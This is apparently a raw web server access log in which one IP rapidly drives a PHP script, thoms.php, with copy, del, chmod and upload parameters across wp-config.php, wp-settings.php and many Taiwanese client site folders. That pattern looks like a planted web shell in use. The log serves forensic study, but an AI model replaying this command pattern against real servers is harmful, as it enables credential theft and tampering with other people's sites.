45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20598 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22194 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20928 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20928 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11402 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p= HTTP/1.1" 200 12341 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?del=acme-challenge&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 12593 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /bossini.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/bossini.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known&upload= HTTP/1.1" 200 12189 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?chmod=acme-challenge&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /bossini.com.tw/.well-known/ HTTP/1.1" 200 780 "https://163.245.207.76:443/bossini.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 200 12341 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 200 12084 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known&settings=1 HTTP/1.1" 200 11929 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22169 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11383 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22313 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 22192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12298 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 22250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 21996 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12532 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:12 -0400] "GET /bossini.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 22158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 22160 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
